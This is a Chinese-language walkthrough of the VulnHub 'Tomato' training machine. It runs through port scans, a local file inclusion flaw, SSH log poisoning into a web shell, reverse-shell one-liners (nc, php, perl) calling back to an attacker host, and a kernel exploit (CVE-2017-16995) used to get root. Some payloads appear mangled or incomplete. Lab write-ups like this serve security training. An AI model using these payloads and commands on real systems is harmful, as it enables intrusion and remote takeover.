靶机介绍

1)靶机地址:https://download.vulnhub.com/tomato/Tomato.ova

2)靶机难度:低

3)打靶目标: 取得 root 权限 + Flag

4)涉及攻击方法:主机发现、端口扫描、信息收集、路径爬取、源码分析、文件包含、写入日志、内核漏洞枚举、本地提权

5)靶机简介:本次的靶机是一个低难度的靶机,靶机中反映了一种非常经典漏的洞利用方法,众多服务类型都会默认开启日志记录的功能,日志中可能存在大量来自客户端的访问请求或者机密信息。如果WEB应用中存在文件包含漏洞,则可利用其读取其他服务的日志内容,结合向日志文件中注入的攻击代码,则可能直接造成代码执行,从而突破边界获得目标系统的基础权限。当然要想实现突破,细致入微的信息收集和枚举永远都是不可或缺的。提权阶段通常同样需要大量的信息收集,这往往是很多同学相对薄弱的领域,本次打靶使用一个提高效率的工具,让提权尝试更具有方向性。

6)注释:需要将本次靶机下载后,导入到vmwar workstation运行虚拟机

打靶过程

1)主机发现

# arp-scan --interface eth1 172.24.10.0/24

2)端口扫描

①对目标靶机进行全端口扫描,发现开放了很多个端口

# nmap -p- 172.24.10.129

②对发现的端口进行服务版本、漏洞扫描

# nmap -p21,80,2211,8888 -sC -sV 172.24.10.130

③针对svftpd3.0.3版本只有一个拒绝服务的漏洞,没有可以远程执行命令的漏洞,无法直接利用

④2211开放的是ssh服务

⑤8888端口开放了http服务,使用nginx的1.10.3版本

⑥80端口开放了http服务,使用Apache的2.4.18版本

3)8888端口信息搜集

①通过浏览器直接访问目标靶机:8888端口,弹出登录框需要进行登录

http://172.24.10.130:8888/

②尝试进行弱口令登录和暴力破解,均为成功获取到用户名和密码

4)80端口信息搜集

①过浏览器直接访问目标靶机:80端口,发现是一个西红柿图片的页面

http://172.24.10.130

②查看网页源代码,未获取到任何的有用信息

③对目标靶机80站点进行路径爬取

# dirsearch -u http://172.24.10.130         #默认情况为爬取出任何信息# dirsearch -u http://172.24.10.130 -f -e php,txt,html    #使用特定后缀也未爬取出有用信息# dirsearch -u http://172.24.10.130 -w /usr/share/seclists/Discovery/Web-Content/common.txt      #更换字典后,爬去除了一个301的站点

④使用特定字典,并使用特定后缀爬取

# dirsearch -u http://172.24.10.130 -w /usr/share/seclists/Discovery/Web-Content/common.txt  -f -e php,txt,html

⑤对爬取出的站点进行访问

http://172.24.10.130/antibot_image/

⑥通过antibots目录下的三张jpg图片可知,目标服务器对机器人或者爬虫的行为进行了过滤,使用的AntiBotPlugin.com插件,搜索发现该插件是专门用于wordpress应用的防护,防护机器人或者爬虫来爬取站点中有价值的信息,发现爬取行为后,该插件会拒绝

通过搜索未发现,该插件的漏洞,但是可以得出目标应用是基于wordpress进行搭建的

⑦继续在antibots目录下进行信息搜集发现,发现存在一个php.info的文件,打开文件,发现里面记录了php的安装路径等信息

⑧查看php.info的源码,在源码中发现对”</?php include $_GET['image'];"进行了注释,通过注释的include怀疑有可能该页面存在本地文件包含或者远程文件包含

⑨尝试在该页面中进行本地文件包含测试

view-source:http://172.24.10.130/antibot_image/antibots/info.php?image=../../../../../etc/passwd

将页面滑到最底部,发现返回了/etc/passwd的用户信息,说明该页面确实存在本地文件包含漏洞

⑩通过查看用户文件发现root用户和tomato用户具有ssh登录权限,但是通过暴力破解的方式,未获取到目标靶机的密码。

⑪通过本地文件包含读取tomato用户的私钥文件,发现无法读取成功

view-source:http://172.24.10.130/antibot_image/antibots/info.php?image=../../../../../home/tomato/.ssh/id_rsa

⑫检查php.info文件配置,发现php也未打开远程文件包含的设置,说明无法通过远程文件包含的方式让服务器加载木马文件,获取服务器shell

思路:在目标服务器上找一些其他文件可以读取,并且能向读取的这个目标文件中写入数据,如wenshell,如果可以实现写入,则可以通过目标服务器开放的服务,向目标服务器中的某个文件写入webshell,然后再通过本地文件包含将写入webshell文件进行加载,之后就可以执行命令,突破边界

Ⅰ、通过FTP服务向目标服务器发起访问,在访问过程中故意提交一些错误的请求,错误的请求有可能被写入到ftp服务器的日志文件中,然后通过本地文件包含加载ftp服务的默认日志文件。(失败,有可能是权限问题,或者ftp服务未开启日志,或者日志放置在了其他路径)

Ⅱ、向8888端口的web服务器日志中写入文件(失败)

Ⅲ、通过ssh服务,向目标服务器写入日志。默认日志存放在/var/log/auth.log中,该日志存放ssh身份认证相关的日志,尝试读取该日志,发现可以读取/var/log/auth.log日志内容

view-source:http://172.24.10.130/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log

通过上述文件发现,ssh服务和vstpf服务日志都存放在/var/log/secure日志中。此时可通过使用一些错误的用户名和密码去登录ssh服务或者vsftpd服务。例如将用户名替换为一句话木马,然后加载该日志文件

5)漏洞利用

①通过ssh服务进行尝试登录,使用一个不存在的用户名

# ssh aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@172.24.10.130 -p2211

②继续进行文件包含auth.log,发现输入的用户名aaaaaaaaaaaaaaaa记录在了日志文件中

view-source:http://172.24.10.130/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log

③将一句话木马当作用户名进行登录ssh服务

# ssh ''@172.24.10.130 -p 2211

④刷新页面

view-source:http://172.24.10.130/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log

刷新页面后,发现没有在日志中查找到一句话木马,说明一句话代码已经执行成功了,如果一句话木马直接显示在日志中,说明服务器将一句话当作了文本进行显示,而没有解析成功

④通过插入的一句话木马,执行命令,测试一句话木马是否执行成功

view-source:http://172.24.10.130/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log&cmd=id

通过上述回显,说明一句话木马已经写入成功,并成功执行,可以执行操作系统命令了

5)反弹shell,突破边界

①先查看服务器是否存在nc程序

view-source:http://172.24.10.130/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log&cmd=which%20nc

通过检查发现,目标服务器是存在nc程序的

②使用nc反弹shell

#目标靶机:view-source:http://172.24.10.130/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log&cmd=/bin/nc 172.24.10.136 4444 -e /bin/bash#kali主机# nc -nvlp 4444

上述命令执行发现,未成功反弹shell,此时怀疑目标靶机的nc程序可能不支持-e参数,重新进行反弹

#目标靶机:view-source:http://172.24.10.130/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log&cmd=/bin/nc 172.24.10.136 4444 #kali主机# nc -nvlp 4444

发现可以进行链接,但是连接以后,自动断开了,尝试使用其他程序(如php、python、perm)进行反弹shell

③因目标服务器是用php搭建的服务,此处尝试使用php进行反弹shell连接

#php反弹shell代码php -r '=fsockopen("172.24.10.136",4444);exec("/bin/sh -i &3 2>&3");'#浏览器执行view-source:http://172.24.10.130/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log&cmd=php -r '=fsockopen("172.24.10.136",4444);exec("/bin/sh -i &3 2>&3");'#kali主机# nc -nvlp 4444

测试发现,php语言也无法进行反弹shell连接

④尝试使用python进行反弹shell连接,先检查目标靶机是否存在python环境

view-source:http://172.24.10.130/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log&cmd=which python

检查发现目标靶机不存在python环境,无法使用python进行反弹shell

⑤尝试使用perl进行反弹shell,先进行perl工具检测

view-source:http://172.24.10.130/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log&cmd=which perl

检查发现,在目标靶机存在perl语言环境,尝试使用perl语言进行反弹shell

#perl反弹shell代码perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"172.24.10.136:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while;'#浏览器执行view-source:http://172.24.10.130/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log&cmd=perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"172.24.10.136:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while;'#kali主机# nc -nvlp 4444

反弹shell成功!!!

6)提权

①查看内核版本

uname -a  /bin/bash -i          #升级shell,不升级无法成功执行命令

查看系统内核版本发现为ubuntu系统,尝试使用Ubuntu内核OverlayFS权限逃逸漏洞(CVE-2021-3493)提权,无法无法提权

②用来枚举linux系统内核漏洞的脚本文件linux-exploit-suggester来检测本机操作系统有哪些可以提权的内核漏洞

#kali主机:# apt search linux-exploit-          #搜索工具名称# apt install linux-exploit-suggester   #安装工具# ls -l  /usr/share/linux-exploit-suggester# cp /usr/share/linux-exploit-suggester/linux-exploit-suggester.sh ./les.s# nc 172.24.10.130 5555  les.shlschmod +x les.sh./les.sh

按照脚本查找出的high proable可能性的漏洞进行依次尝试

③当尝试CVE-2017-16995漏洞时,发现提权成功,先通过脚本给出的对应Download URL字段下方的ID号进行复制,在kali中进行搜索

# searchsploit -p 45010# cp /usr/share/exploitdb/exploits/linux/local/45010.c ./

④因为是c语言的利用代码,先检查目标靶机有无gcc的利用环境

gcc

检测发现目标靶机上没有gcc的 环境,此时需要在kali主机对c语言漏洞利用代码进行编译

⑤编译漏洞利用代码

# gcc 45010.c -o exp

⑤传输本地提权脚本

#目标靶机nc -nvlp 4444 > exp#kali:# nc 172.24.10.130 4444 < ./exp -w 1

⑥提权,获取到flag

$ls -l exp$chmod +x exp$./exp#id#cd /root#ls #cat proof.txtSun_CSR_TEAM_TOMATO_JS_0232xx23